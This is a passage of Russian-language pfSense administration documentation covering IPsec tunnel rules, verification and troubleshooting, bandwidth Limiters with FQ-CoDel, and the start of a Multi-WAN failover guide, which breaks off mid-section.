| UDP | 500 | IKE - обмен ключами |
| UDP | 4500 | NAT-T - обход NAT |
| ESP | Протокол 50 | Инкапсуляция зашифрованного трафика (при отсутствии NAT) |

Если на WAN-интерфейсе действует правило по умолчанию, разрешающее весь исходящий трафик, а входящие подключения инициирует только удалённая сторона, то дополнительных правил на WAN может не потребоваться - pfSense автоматически разрешает входящий IKE-трафик для настроенных IPsec-туннелей.

> **Внимание**:
>
> При использовании NAT-T (UDP 4500) протокол ESP инкапсулируется в UDP-пакеты. В этом случае отдельное правило для ESP (протокол 50) не требуется.

### Правила на вкладке IPsec

Вкладка **Firewall > Rules > IPsec** управляет трафиком, проходящим через все установленные IPsec-туннели. По умолчанию вкладка пуста - весь трафик через туннель блокируется.

![Firewall rules for IPsec](/img/pfsense/pfsense-ipsec-firewall-rules.webp)
<p style="text-align: center;">Рис. 4. Правила файрвола на вкладке IPsec</p>

Минимальный набор правил для разрешения трафика между площадками:

| Действие | Протокол | Источник | Назначение | Описание |
|---|---|---|---|---|
| Pass | Any | `10.2.0.0/24` | `10.1.0.0/24` | Разрешить трафик из удалённой подсети в локальную |
| Pass | Any | `10.1.0.0/24` | `10.2.0.0/24` | Разрешить трафик из локальной подсети в удалённую |

В производственной среде рекомендуется ограничивать правила конкретными протоколами и портами вместо использования `Any`. Например, разрешить только ICMP, SSH (TCP 22) и HTTPS (TCP 443).

Более подробно о принципах создания правил файрвола описано в разделе [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/).

## Проверка подключения

После сохранения настроек и применения изменений следует проверить состояние туннеля.

### Status > IPsec

Перейдите в **Status > IPsec** для просмотра состояния всех IPsec-туннелей.

![IPsec status page](/img/pfsense/pfsense-ipsec-status.webp)
<p style="text-align: center;">Рис. 3. Страница статуса IPsec-туннелей</p>

Страница отображает:

- **Phase 1** - состояние IKE SA (Established / Connecting / Disconnected)
- **Phase 2** - состояние Child SA с указанием Traffic Selectors (локальная и удалённая подсети)
- **SPI** - Security Parameter Index для каждой SA
- **Bytes In/Out** - объём переданного трафика
- **Status** - текущее состояние с кнопками Connect / Disconnect

Успешно установленный туннель отображается со статусом **Established** для Phase 1 и активными Child SA для Phase 2.

### Диагностика через командную строку

При необходимости более детальной диагностики доступны команды через **Diagnostics > Command Prompt** или SSH:

```bash
# Status of all IPsec SAs
ipsec statusall

# Detailed status with traffic counters
ipsec status

# Restart IPsec service
ipsec restart

# View IPsec-related logs in real time
clog -f /var/log/ipsec.log

# Ping through the tunnel (from pfSense shell)
ping -S 10.1.0.1 10.2.0.1
```

Команда `ipsec statusall` отображает полную информацию о всех SA, включая согласованные алгоритмы, время до истечения и количество переданных байтов.

### Проверка прохождения трафика

После установления туннеля рекомендуется выполнить следующие проверки:

1. **Ping между подсетями** - с хоста `10.1.0.100` выполнить `ping 10.2.0.100`
2. **Проверка маршрутизации** - `traceroute 10.2.0.100` должен показывать прямой маршрут через туннель (без промежуточных хопов)
3. **Проверка счётчиков** - в Status > IPsec значения Bytes In/Out должны увеличиваться при прохождении трафика

## Подключение к оборудованию третьих сторон

IPsec - стандартизированный протокол, однако реализации на различных платформах имеют отличия, которые могут вызвать проблемы при согласовании параметров.

### Общие рекомендации

1. **Фиксируйте один набор параметров** - не полагайтесь на автоматическое согласование. Укажите идентичные алгоритмы шифрования, хеширования и группы DH на обеих сторонах.

2. **Используйте IKEv2** - при поддержке обеими сторонами. IKEv2 устраняет многие проблемы совместимости IKEv1.

3. **Проверяйте идентификаторы** - некоторые платформы по умолчанию используют FQDN или Distinguished Name вместо IP-адреса в качестве идентификатора. Несовпадение идентификаторов - частая причина отказа Phase 1.

4. **Согласуйте время жизни** - различие в значениях Lifetime между платформами может привести к ситуации, когда одна сторона пытается выполнить rekeying, а вторая считает SA действующей.

### Cisco ASA

- Cisco ASA по умолчанию использует IKEv1 с Aggressive Mode для динамических пиров. При подключении к pfSense рекомендуется явно настроить Main Mode или перейти на IKEv2.
- Идентификатор Phase 1 на ASA задаётся командой `crypto isakmp identity address` - убедитесь, что pfSense настроен на `Peer IP Address`.
- ASA поддерживает ограниченный набор DH-групп - проверьте совместимость перед настройкой.

### FortiGate

- FortiGate поддерживает как policy-based, так и route-based VPN. При подключении к pfSense в режиме policy-based необходимо точное совпадение Traffic Selectors (подсетей Phase 2).
- FortiGate использует собственные наименования алгоритмов: `aes256gcm` соответствует AES-256-GCM в pfSense.
- По умолчанию FortiGate включает DPD в режиме `on-demand` - pfSense отправляет DPD-запросы регулярно. Это не вызывает проблем, но следует учитывать при анализе логов.

### MikroTik RouterOS

- MikroTik использует терминологию `peer` и `policy` вместо Phase 1 и Phase 2. Параметры `peer` соответствуют Phase 1, `policy` - Phase 2.
- В RouterOS необходимо явно указать `enc-algorithms` и `hash-algorithm` в разделе proposal - автоматическое согласование может выбрать нежелательный алгоритм.
- MikroTik по умолчанию не включает PFS - параметр `pfs-group` необходимо задать явно, если PFS используется на стороне pfSense.

### AWS Virtual Private Gateway (VGW)

- AWS VGW поддерживает IKEv1 и IKEv2. При создании VPN Connection AWS предоставляет файл конфигурации с рекомендуемыми параметрами.
- AWS использует два туннеля для резервирования - необходимо создать два Phase 1 + Phase 2 в pfSense, по одному на каждый публичный IP-адрес AWS.
- Lifetime Phase 1 на стороне AWS составляет 28800 секунд, Phase 2 - 3600 секунд. Эти значения следует использовать в pfSense.
- AWS не поддерживает AES-GCM в некоторых регионах - проверяйте документацию для конкретного региона.

### Azure VPN Gateway

- Azure VPN Gateway поддерживает IKEv2 с policy-based и route-based конфигурацией.
- Для подключения pfSense к Azure рекомендуется route-based VPN Gateway с конфигурацией VTI на стороне pfSense.
- Azure предоставляет список поддерживаемых криптографических параметров в документации - параметры pfSense должны входить в этот список.
- BGP через IPsec поддерживается только с route-based VPN Gateway и VTI на стороне pfSense.

## Routed IPsec (VTI)

Описанная выше конфигурация использует policy-based IPsec, где трафик направляется в туннель на основании совпадения с Traffic Selectors (подсетями Phase 2). Альтернативный подход - routed IPsec с использованием Virtual Tunnel Interfaces (VTI).

### Принцип работы

При использовании VTI pfSense создаёт виртуальный сетевой интерфейс `ipsecX`, который функционирует как обычный интерфейс операционной системы. Трафик направляется в туннель через таблицу маршрутизации, а не через Security Policy Database.

### Преимущества VTI перед policy-based

| Характеристика | Policy-based | Routed (VTI) |
|---|---|---|
| Маршрутизация | Traffic Selectors | Таблица маршрутизации ОС |
| Динамическая маршрутизация | Не поддерживается | BGP, OSPF через пакет FRR |
| Мониторинг трафика | Ограниченный | Полноценный (tcpdump, traffic graphs) |
| Policy routing | Не поддерживается | Поддерживается |
| Количество Phase 2 | По одной на пару подсетей | Одна на семейство адресов |
| Отказоустойчивость | Ручная | Gateway Groups |

### Когда использовать VTI

Routed IPsec рекомендуется в следующих случаях:

- Требуется динамическая маршрутизация (BGP/OSPF) через туннель
- Количество подсетей на удалённой стороне велико или часто изменяется
- Необходима интеграция с Gateway Groups для отказоустойчивости
- Требуется policy routing через VPN-туннель

### Настройка VTI

Настройка VTI отличается от policy-based в Phase 2:

1. В Phase 2 установите **Mode** в значение **Routed (VTI)**
2. В поле **Local Network** укажите локальный IP-адрес туннельного интерфейса (например, `10.255.0.1/30`)
3. В поле **Remote Network** укажите удалённый IP-адрес туннельного интерфейса (например, `10.255.0.2/30`)
4. После сохранения перейдите в **Interfaces > Assignments** и назначьте интерфейс `ipsecX`
5. Включите назначенный интерфейс и при необходимости настройте статические маршруты или FRR

> **Внимание**:
>
> Для использования VTI обе стороны должны поддерживать этот режим. При подключении к устройству, не поддерживающему VTI, следует использовать policy-based IPsec.

## Устранение неполадок

### Phase 1 не устанавливается

**Симптомы**: статус Phase 1 - Connecting, в логах сообщения `NO_PROPOSAL_CHOSEN` или `AUTHENTICATION_FAILED`.

| Проблема | Причина | Решение |
|---|---|---|
| `NO_PROPOSAL_CHOSEN` | Несовпадение параметров шифрования | Убедитесь, что алгоритм, хеш и DH Group идентичны на обеих сторонах |
| `AUTHENTICATION_FAILED` | Несовпадение PSK или идентификаторов | Проверьте PSK (регистр, пробелы) и настройки My/Peer identifier |
| `PEER_AUTH_FAILED` | Ошибка проверки сертификата | Убедитесь, что CA-сертификат импортирован и не истёк |
| Timeout без сообщений | Блокировка UDP 500/4500 | Проверьте правила файрвола на WAN и промежуточных устройствах |

### Phase 2 не устанавливается

**Симптомы**: Phase 1 в статусе Established, но Phase 2 не появляется или отображается со статусом `no child SA`.

| Проблема | Причина | Решение |
|---|---|---|
| `NO_PROPOSAL_CHOSEN` | Несовпадение параметров шифрования Phase 2 | Проверьте алгоритм, хеш и PFS Group |
| `TS_UNACCEPTABLE` | Несовпадение Traffic Selectors | Убедитесь, что подсети в Phase 2 зеркально совпадают: локальная подсеть одного узла = удалённая подсеть другого |
| `INVALID_KE_PAYLOAD` | Несовпадение DH Group для PFS | Установите одинаковую PFS Group или отключите PFS на обеих сторонах |

### Туннель установлен, но трафик не проходит

| Проблема | Причина | Решение |
|---|---|---|
| Нет ответа на ping | Отсутствуют правила на вкладке IPsec | Создайте правила, разрешающие трафик между подсетями |
| Односторонний трафик | Правила созданы только в одном направлении | Добавьте правила для обоих направлений |
| Пакеты уходят, ответы не приходят | Асимметричная маршрутизация | Проверьте таблицу маршрутизации на обоих узлах |
| MTU-проблемы | Фрагментация из-за IPsec overhead | Уменьшите MSS через **System > Advanced > Firewall & NAT** (MSS Clamping) или настройте MTU на интерфейсах |

### DPD и периодические разрывы

- **Частые DPD-таймауты** при стабильном канале связи могут указывать на перегрузку удалённого узла или потерю UDP-пакетов. Увеличьте DPD Delay до 30 секунд и Max Failures до 10.
- **Туннель не восстанавливается** после разрыва: проверьте параметр **Child SA Start Action** - значение `Start` обеспечивает автоматическое переподключение.
- **Одновременный rekeying** обоими узлами может привести к дублированию SA. Убедитесь, что Rand Time не обнулён.

### NAT-T и двойной NAT

При наличии NAT между узлами IPsec-туннеля:

1. Убедитесь, что **NAT Traversal** установлен в `Auto` или `Force`.
2. При двойном NAT (NAT на обеих сторонах) может потребоваться проброс UDP 500 и 4500 на обоих маршрутизаторах.
3. NAT-T инкапсулирует ESP в UDP 4500 - убедитесь, что этот порт не блокируется промежуточными устройствами.

### Полезные команды диагностики

```bash
# View IKE SA details
ipsec statusall

# View routing table
netstat -rn

# Capture IPsec traffic on WAN
tcpdump -ni em0 esp or udp port 500 or udp port 4500

# Check for IPsec-related kernel messages
dmesg | grep -i ipsec

# View strongSwan logs
cat /var/log/ipsec.log | tail -100
```

## Связанные разделы

- [Правила файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-rules/) - принципы создания и управления правилами файрвола, необходимые для корректной работы IPsec-туннелей
- [Алиасы файрвола pfSense](/docs/pfsense/firewall/pfsense-firewall-aliases/) - использование алиасов для упрощения управления IP-адресами и подсетями в правилах IPsec
- [NAT в pfSense](/docs/pfsense/nat/) - настройка NAT, включая особенности взаимодействия NAT и IPsec


---

# Limiters в pfSense - ограничение полосы пропускания

Source: https://opennix.org/docs/pfsense/traffic-shaper/pfsense-limiters/


Limiters в pfSense основаны на подсистеме dummynet(4) FreeBSD и предоставляют механизм жёсткого ограничения полосы пропускания. В отличие от ALTQ, Limiters работают независимо от драйверов сетевых адаптеров и поддерживают ограничение скорости на уровне отдельных IP-адресов и подсетей. Подсистема dummynet изначально разрабатывалась для тестирования поведения TCP при перегрузке сети, но в pfSense используется как полноценный инструмент управления трафиком.

Limiters устанавливают потолок полосы пропускания - они задерживают или отбрасывают пакеты для достижения заданной скорости. Это принципиально отличается от ALTQ, где возможно заимствование неиспользуемой полосы пропускания между очередями. Limiter не гарантирует минимальную полосу - он только ограничивает максимальную.

## Архитектура Limiters

### Pipes и Queues

Limiters организованы в двухуровневую иерархию:

- **Pipes (корневые Limiters)** - определяют верхний предел полосы пропускания и могут добавлять искусственную задержку. Каждый pipe представляет собой канал с заданной пропускной способностью.
- **Queues (дочерние Limiters)** - создаются внутри pipe и распределяют трафик по приоритетам с помощью весов (weights). Веса определяют пропорциональное распределение полосы пропускания между очередями, но не могут превышать совокупную пропускную способность родительского pipe.

Для типичных сценариев ограничения скорости достаточно использовать только корневые Limiters без создания дочерних очередей. Дочерние очереди применяются в случаях, когда необходимо приоритизировать определённые типы трафика внутри ограниченного канала.

### Отличия от ALTQ

| Характеристика | Limiters (dummynet) | ALTQ |
|---|---|---|
| Подсистема | dummynet(4) | pf (ALTQ framework) |
| Гарантия полосы | Нет (только верхний предел) | Да (HFSC real-time curve) |
| Per-IP ограничение | Да (через маски) | Нет |
| Per-subnet ограничение | Да (через маски) | Нет |
| Заимствование полосы | Нет | Да (CBQ, HFSC link share) |
| CoDel/FQ-CoDel | Да | Нет |
| Зависимость от драйверов NIC | Нет | Да |
| Настройка через визард | Нет | Да |

## Создание Limiter

Настройка выполняется в **Firewall > Traffic Shaper > Limiters**. Для типичного сценария ограничения скорости необходимо создать два Limiter: один для входящего трафика (download), второй для исходящего (upload).

### Параметры корневого Limiter

**Bandwidth** - числовое значение полосы пропускания. Указывается в выбранных единицах измерения.

**Bandwidth type** - единицы измерения: Mbit/s, Kbit/s или Bit/s. Для большинства сценариев используются Mbit/s.

**Schedule** - необязательный параметр, позволяющий привязать полосу пропускания к расписанию файрвола. Полезно для сценариев, когда в рабочее время требуется одно ограничение, а в нерабочее - другое.

**Mask** - определяет, как применяется ограничение:

- **None** - один общий бакет для всего трафика. Весь трафик, попавший в Limiter, делит заданную полосу пропускания. Подходит для ограничения совокупной пропускной способности подсети.
- **Source address** - создаёт отдельный бакет для каждого IP-адреса источника. Используется для Limiter, ограничивающего upload (исходящий трафик).
- **Destination address** - создаёт отдельный бакет для каждого IP-адреса назначения. Используется для Limiter, ограничивающего download (входящий трафик).

**Mask bits** - определяет гранулярность маскирования. Значение 32 для IPv4 создаёт отдельный бакет для каждого IP-адреса. Значение 24 группирует все адреса в пределах /24 подсети в один бакет.

### Дополнительные параметры

**Delay** - искусственная задержка в миллисекундах. Применяется для тестирования работы приложений при высокой латентности. В продуктивных конфигурациях устанавливается в 0.

**Packet Loss Rate** - коэффициент потери пакетов в десятичном формате (0.01 = 1%). Используется исключительно для тестирования. В продуктивных конфигурациях устанавливается в 0.

**Queue Size** - размер очереди в слотах (по умолчанию 50). Для медленных каналов (менее 10 Mbit/s) может потребоваться увеличение этого значения для предотвращения избыточного отбрасывания пакетов.

**Bucket Size** - размер хеш-таблицы для маскированных бакетов. Диапазон от 16 до 65536, значение по умолчанию - 64. Увеличение требуется при большом количестве одновременных бакетов (например, при per-IP ограничении в сети на 500+ хостов).

### Пример: Limiter для download 50 Mbit/s per-IP

1. Перейти в **Firewall > Traffic Shaper > Limiters**
2. Нажать **New Limiter**
3. Установить параметры:
   - **Name**: `Download_50Mbps`
   - **Bandwidth**: `50`
   - **Bandwidth type**: `Mbit/s`
   - **Mask**: `Destination address`
   - **Mask bits**: `32`
4. Сохранить конфигурацию

### Пример: Limiter для upload 25 Mbit/s per-IP

1. Нажать **New Limiter**
2. Установить параметры:
   - **Name**: `Upload_25Mbps`
   - **Bandwidth**: `25`
   - **Bandwidth type**: `Mbit/s`
   - **Mask**: `Source address`
   - **Mask bits**: `32`
3. Сохранить конфигурацию

## Применение Limiters через правила файрвола

Limiters привязываются к правилам файрвола через параметры **In** и **Out** в разделе **Advanced Options** правила. Критически важно понимать, что направления In и Out определяются с точки зрения самого межсетевого экрана, а не пользователя.

### Направления с точки зрения файрвола

Для правила на **LAN-интерфейсе**:

- **In** (трафик, входящий в файрвол с LAN) = upload пользователя
- **Out** (трафик, выходящий из файрвола на LAN) = download пользователя

Таким образом, в правиле LAN:

- **In pipe** = Limiter для upload
- **Out pipe** = Limiter для download

> **Внимание**:
>
> Наиболее распространённая ошибка при настройке Limiters - перепутанные направления In и Out. Если после настройки speed test показывает ограничение upload вместо download (или наоборот), необходимо поменять Limiters местами в настройках правила.

### Настройка правила файрвола

1. Перейти в **Firewall > Rules > LAN**
2. Создать или отредактировать правило Pass для трафика, который необходимо ограничить
3. В разделе **Extra Options** раскрыть **Display Advanced**
4. В поле **In / Out pipe** выбрать:
   - **In**: `Upload_25Mbps` (upload Limiter)
   - **Out**: `Download_50Mbps` (download Limiter)
5. Сохранить правило и применить изменения

### Порядок правил

Limiter применяется к трафику, совпавшему с конкретным правилом файрвола. Если необходимо ограничить весь трафик подсети - Limiter привязывается к общему правилу разрешения. Если необходимо ограничить только определённый трафик (например, HTTP/HTTPS) - создаётся отдельное правило с привязкой Limiter только к нему.

Правила без привязанного Limiter пропускают трафик без ограничения скорости. Это позволяет исключить критичные сервисы из-под шейпинга, разместив разрешающие правила для них выше правила с Limiter.

## Типичные сценарии

### Ограничение гостевой Wi-Fi сети

Задача: ограничить каждого пользователя гостевой сети до 10 Mbit/s download и 5 Mbit/s upload.

**Limiters:**

- `Guest_Download_10M` - Bandwidth: 10 Mbit/s, Mask: Destination address, Bits: 32
- `Guest_Upload_5M` - Bandwidth: 5 Mbit/s, Mask: Source address, Bits: 32

**Правило файрвола:** на интерфейсе GUEST_WIFI, правило Pass для Source: GUEST_WIFI net, Destination: any. In pipe: `Guest_Upload_5M`, Out pipe: `Guest_Download_10M`.

Каждый пользователь получает индивидуальное ограничение 10/5 Mbit/s, но совокупный трафик всей гостевой сети не ограничен. Если необходимо ограничить и совокупную полосу - следует создать дополнительную пару Limiters с Mask: None.

### Ограничение совокупной полосы пропускания подсети

Задача: ограничить весь трафик подсети 192.168.20.0/24 до 100 Mbit/s download и 50 Mbit/s upload (совокупно на всю подсеть, без per-IP ограничений).

**Limiters:**

- `Subnet_Download_100M` - Bandwidth: 100 Mbit/s, Mask: None
- `Subnet_Upload_50M` - Bandwidth: 50 Mbit/s, Mask: None

При Mask: None весь трафик подсети попадает в один общий бакет. 100 Mbit/s делится между всеми активными хостами подсети.

### Комбинированное ограничение: per-IP внутри общего потолка

Для реализации схемы "каждый пользователь не более 20 Mbit/s, вся подсеть не более 100 Mbit/s" необходимо создать две пары Limiters и два правила файрвола:

1. Первое правило (выше по порядку) с per-IP Limiters (Mask: Source/Destination address) и ограничением 20 Mbit/s
2. Дополнительно - Limiters с Mask: None и ограничением 100 Mbit/s применяются как родительские

> **Внимание**:
>
> pfSense не поддерживает вложенное ограничение (per-IP Limiter внутри subnet Limiter) как единую конструкцию. Для сложных иерархических схем может потребоваться комбинация Limiters с дочерними очередями или применение ALTQ вместо Limiters.

### Справедливое распределение полосы пропускания (Fair Queuing)

Задача: канал 100 Mbit/s должен справедливо распределяться между всеми пользователями сети. При 10 активных пользователях каждый получает примерно 10 Mbit/s, при 2 активных - 50 Mbit/s.

Для этого сценария используется per-IP Limiter с параметром Mask и установкой полосы пропускания равной максимальной скорости канала. Однако dummynet создаёт жёсткие бакеты - каждый IP получит полную полосу Limiter, а не долю от неё. Истинное справедливое распределение реализуется через FQ-CoDel (описано ниже).

## CoDel и борьба с bufferbloat

### Проблема bufferbloat

Bufferbloat - избыточная буферизация пакетов в сетевом оборудовании, приводящая к росту латентности под нагрузкой. При активной загрузке канала (торренты, крупные загрузки) буферы маршрутизатора переполняются, и интерактивный трафик (VoIP, игры, веб-сёрфинг) начинает испытывать задержки в сотни миллисекунд вместо обычных единиц.

### CoDel (Controlled Delay)

CoDel - алгоритм активного управления очередью (Active Queue Management, AQM), решающий проблему bufferbloat. Вместо простого отбрасывания пакетов при переполнении очереди CoDel отслеживает время нахождения пакетов в очереди и начинает отбрасывать пакеты, когда задержка превышает допустимый порог.

### FQ-CoDel (Fair Queuing CoDel)

FQ-CoDel комбинирует CoDel с механизмом справедливого распределения (Fair Queuing). Трафик автоматически распределяется по множеству внутренних очередей, обеспечивая равный доступ к полосе пропускания для всех потоков. FQ-CoDel является рекомендуемым алгоритмом для борьбы с bufferbloat в pfSense.

### Настройка CoDel в Limiter

1. Перейти в **Firewall > Traffic Shaper > Limiters**
2. Создать новый Limiter или отредактировать существующий
3. Установить **Bandwidth** равной примерно 85-95% от реальной скорости канала (измеренной без нагрузки). Установка значения ниже реальной скорости канала необходима, чтобы буферизация происходила в dummynet, а не в оборудовании провайдера.
4. В разделе **Queue Management Algorithm** выбрать **CoDel** или **FQ-CoDel**
5. Параметры по умолчанию (target: 5ms, interval: 100ms) подходят для большинства сценариев
6. Сохранить и применить

> **Внимание**:
>
> Для корректной работы CoDel значение Bandwidth в Limiter должно быть установлено ниже фактической пропускной способности канала. Если Limiter настроен на скорость равную или выше реальной скорости канала, буферизация произойдёт в оборудовании провайдера, где CoDel не может контролировать очередь.

### Проверка эффективности

После настройки CoDel рекомендуется выполнить тест bufferbloat с помощью сервиса Waveform Bufferbloat Test (https://www.waveform.com/tools/bufferbloat) или аналогичного инструмента. Тест измеряет латентность под нагрузкой и присваивает оценку от A до F.

Целевые показатели:

- Оценка A или B (латентность под нагрузкой менее 30 мс)
- Если оценка C или ниже - уменьшить значение Bandwidth в Limiter на 5-10% и повторить тест

## Мониторинг Limiters

Активные Limiters и их текущее состояние доступны в **Diagnostics > Limiter Info**. Страница отображает:

- Список активных pipes и queues
- Текущую статистику трафика для каждого Limiter
- Для per-IP Limiters (с маской) - отдельные бакеты для каждого IP-адреса с индивидуальной статистикой
- Счётчики отброшенных пакетов

Эта информация полезна для диагностики проблем и проверки корректности применения Limiters.

## Диагностика проблем

### Limiter не ограничивает скорость

1. Убедиться, что Limiter привязан к правилу файрвола и это правило действительно совпадает с целевым трафиком. Проверить в **Diagnostics > States** наличие состояний, соответствующих правилу.
2. Проверить направления In/Out в правиле. Помнить, что In и Out определяются с точки зрения файрвола.
3. Убедиться, что трафик не совпадает с другим правилом выше по списку, к которому Limiter не привязан.
4. Проверить в **Diagnostics > Limiter Info**, что Limiter активен и отображает трафик.

### Speed test показывает скорость выше ограничения

1. Speed test может использовать множественные TCP-соединения, каждое из которых получает полный per-IP лимит. Это корректное поведение при использовании масок.
2. Убедиться, что speed test выполняется с хоста, попадающего под правило с Limiter.
3. Проверить, что единицы измерения совпадают: Limiter настроен в Mbit/s, а speed test может отображать результат в MB/s (1 MB/s = 8 Mbit/s).

### Speed test показывает скорость значительно ниже ограничения

1. Проверить Queue Size - при малом значении на медленных каналах может происходить избыточное отбрасывание пакетов.
2. Если используется CoDel/FQ-CoDel - убедиться, что Bandwidth установлен не слишком низко.
3. Проверить загрузку CPU межсетевого экрана - dummynet создаёт дополнительную нагрузку на процессор.

### IPv6 трафик не ограничивается

Limiters для IPv4 и IPv6 работают независимо. Для ограничения IPv6-трафика необходимо создать отдельные правила файрвола с привязкой тех же Limiters. Mask bits для IPv6 per-IP ограничения устанавливаются в 128 (вместо 32 для IPv4).

## Миграция с других платформ

### С MikroTik Simple Queues

MikroTik Simple Queues объединяют ограничение upload и download в одном правиле с указанием target-address. В pfSense эквивалент требует:

1. Создания двух отдельных Limiters (upload и download)
2. Привязки обоих Limiters к правилу файрвола через In/Out pipes
3. Настройки масок для per-IP ограничения (Source address для upload, Destination address для download)

MikroTik Queue Tree с PCQ (Per Connection Queue) аналогичен Limiters с масками. PCQ dst-address соответствует Mask: Destination address, PCQ src-address соответствует Mask: Source address.

### С FortiGate Traffic Shaping

FortiGate использует Traffic Shaping Profiles и Policies. Shared shaper в FortiGate аналогичен Limiter с Mask: None. Per-IP shaper в FortiGate соответствует Limiter с Mask: Source/Destination address. Guaranteed bandwidth в FortiGate не имеет прямого аналога в Limiters - для гарантированной полосы необходимо использовать ALTQ HFSC.

## Связанные разделы

- [Traffic Shaper в pfSense](/docs/pfsense/traffic-shaper/) - обзор механизмов управления полосой пропускания
- [ALTQ Traffic Shaper](/docs/pfsense/traffic-shaper/pfsense-shaper-wizards/) - визарды и приоритизация трафика через очереди ALTQ
- [Правила файрвола](/docs/pfsense/firewall/pfsense-firewall-rules/) - создание правил, через которые применяются Limiters


---

# Multi-WAN failover в pfSense - переключение каналов

Source: https://opennix.org/docs/pfsense/multi-wan/pfsense-multi-wan-failover/


Failover в контексте Multi-WAN - это автоматическое переключение трафика с основного интернет-канала на резервный при обнаружении отказа основного. pfSense реализует failover через механизм Gateway Groups с разделением шлюзов по уровням приоритета (tier). Шлюзы на более низком tier используются в первую очередь, а шлюзы на более высоком tier активируются только при недоступности всех шлюзов предыдущего уровня.

В отличие от балансировки нагрузки, где шлюзы работают параллельно на одном tier, failover-конфигурация назначает шлюзам разные tier, формируя цепочку приоритетов. Резервный канал находится в режиме ожидания (hot standby) и принимает трафик только при отказе основного.

## Различия между failover и load balancing

Оба механизма используют Gateway Groups, но различаются логикой назначения tier:

| Характеристика | Load Balancing | Failover |
|---|---|---|
| Назначение tier | Все шлюзы на одном tier | Шлюзы на разных tier |
| Использование каналов | Одновременное | Последовательное (по приоритету) |
| Резервный канал | Отсутствует (все активны) | Активируется при отказе основного |
| Нагрузка на каналы | Распределена | Сконцентрирована на основном |
| Переключение | Автоматическое (исключение отказавшего) | Автоматическое (активация резервного) |

Комбинированная конфигурация объединяет оба подхода. Например, два канала на Tier 1 обеспечивают балансировку, а третий канал на Tier 2 служит резервным для обоих:

| Шлюз | Tier | Роль |
|---|---|---|
| WAN1_DHCP | 1 | Основной, балансировка |
| WAN2_DHCP | 1 | Основной, балансировка |
| WAN3_DHCP | 2 | Резервный |

В этой конфигурации трафик балансируется между WAN1 и WAN2. При отказе WAN1 весь трафик переходит на WAN2. При отказе обоих основных каналов активируется WAN3.

## Мониторинг шлюзов для failover

Скорость и точность failover напрямую зависят от настроек мониторинга шлюзов. Агрессивные настройки обеспечивают быстрое переключение, но увеличивают риск ложных срабатываний. Консервативные настройки снижают риск ложных срабатываний, но увеличивают время обнаружения отказа.

### Рекомендуемые параметры мониторинга

Для типичной failover-конфигурации рекомендуются следующие параметры:

| Параметр | Значение | Обоснование |
|---|---|---|
| **Monitor IP** | Публичный DNS (8.8.8.8, 1.1.1.1) | Проверка сквозной доступности, а не только шлюза провайдера |
| **Probe Interval** | 1 секунда | Быстрое обнаружение отказа |
| **Loss Interval** | 2000 мс | Достаточное время ожидания для высоколатентных каналов |
| **Time Period** | 30 секунд | Сокращённое окно усреднения для ускорения реакции |
| **High Latency** | 400 мс | Порог предупреждения о деградации |
| **High Loss** | 15% | Порог предупреждения о потерях |
| **Down** | 10% | Порог переключения на резервный канал |

### Выбор Monitor IP

Выбор Monitor IP определяет, что именно проверяет система мониторинга:

| Monitor IP | Что проверяется | Преимущества | Недостатки |
|---|---|---|---|
| IP шлюза провайдера | Доступность ближайшего hop | Минимальная задержка, быстрый ответ | Не обнаруживает отказ upstream |
| Публичный DNS (8.8.8.8) | Сквозная доступность интернета | Обнаруживает любой отказ в цепочке | Дополнительная задержка |
| Собственный VPS | Сквозная доступность до целевого ресурса | Полный контроль | Требуется дополнительная инфраструктура |

> **Внимание**:
>
> Для каждого шлюза необходимо использовать уникальный Monitor IP. Если оба шлюза мониторят один и тот же адрес, отказ этого адреса (а не канала) приведёт к одновременному переключению обоих шлюзов в статус Down и полной потере связи.

### Настройка dpinger

Демон dpinger выполняет мониторинг шлюзов. Его работу можно проверить через командную строку:

```bash
# Check dpinger processes
ps aux | grep dpinger

# View gateway status in real time
/usr/local/sbin/pfSsh.php playback gatewaystatus
```

Логи dpinger записываются в системный журнал и доступны в **Status > System Logs > Gateways**.

## Создание Gateway Group для failover

### Пошаговая настройка

1. Перейти в **System > Routing > Gateway Groups**.
2. Нажать **Add**.
3. Заполнить параметры группы:

| Параметр | Значение | Описание |
|---|---|---|
| **Group Name** | `WAN_Failover` | Имя группы |
| **WAN1_DHCP** | Tier 1 | Основной канал |
| **WAN2_DHCP** | Tier 2 | Резервный канал |
| **Trigger Level** | Packet Loss or High Latency | Условие переключения |
| **Description** | Primary WAN1, failover to WAN2 | Описание назначения |

4. Нажать **Save**, затем **Apply Changes**.

### Выбор Trigger Level для failover

Для failover-конфигурации выбор Trigger Level определяет чувствительность переключения:

| Trigger Level | Время до переключения | Риск ложных срабатываний | Рекомендуется для |
|---|---|---|---|
| **Member Down** | Максимальное | Минимальный | Некритичных сервисов |
| **Packet Loss** | Среднее | Средний | Большинства конфигураций |
| **High Latency** | Минимальное | Высокий | Сервисов, чувствительных к задержке |
| **Packet Loss or High Latency** | Минимальное | Максимальный | Критичных сервисов с надёжными каналами |

Для production-конфигураций рекомендуется **Packet Loss** - этот уровень обеспечивает баланс между скоростью реакции и устойчивостью к кратковременным флуктуациям.

## Применение Gateway Group к правилам файрвола

После создания Gateway Group для failover её необходимо назначить в правиле файрвола.

### Настройка правила

1. Перейти в **Firewall > Rules > LAN**.
2. Создать или отредактировать правило для исходящего трафика.
3. В секции **Extra Options** нажать **Display Advanced**.
4. В поле **Gateway** выбрать `WAN_Failover`.
5. Нажать **Save**, затем **Apply Changes**.

Для разных типов трафика можно создать отдельные правила с различными failover-группами. Например, критичный бизнес-трафик может использовать группу с агрессивными настройками мониторинга, а остальной трафик - группу с консервативными настройками.

## DNS при failover

При переключении на резервный канал DNS-запросы, направленные через основной канал, перестают получать ответы. Это может привести к задержке разрешения имён до момента переключения DNS на резервный путь.

### Настройка DNS для failover

1. В **System > General Setup** настроить DNS-серверы для каждого WAN:

| DNS-сервер | IP-адрес | Gateway |
|---|---|---|
| DNS Server 1 | 8.8.8.8 | WAN1_DHCP |
| DNS Server 2 | 8.8.4.4 | WAN1_DHCP |
| DNS Server 3 | 1.1.1.1 | WAN2_DHCP |
| DNS Server 4 | 1.0.0.1 | WAN2_DHCP |

2. В **Services > DNS Resolver** включить **DNS Query Forwarding** для использования настроенных upstream-серверов.
3. pfSense автоматически прекращает использование DNS-серверов, привязанных к недоступному шлюзу, и переключается на серверы, привязанные к доступному каналу.

> **Внимание**:
>
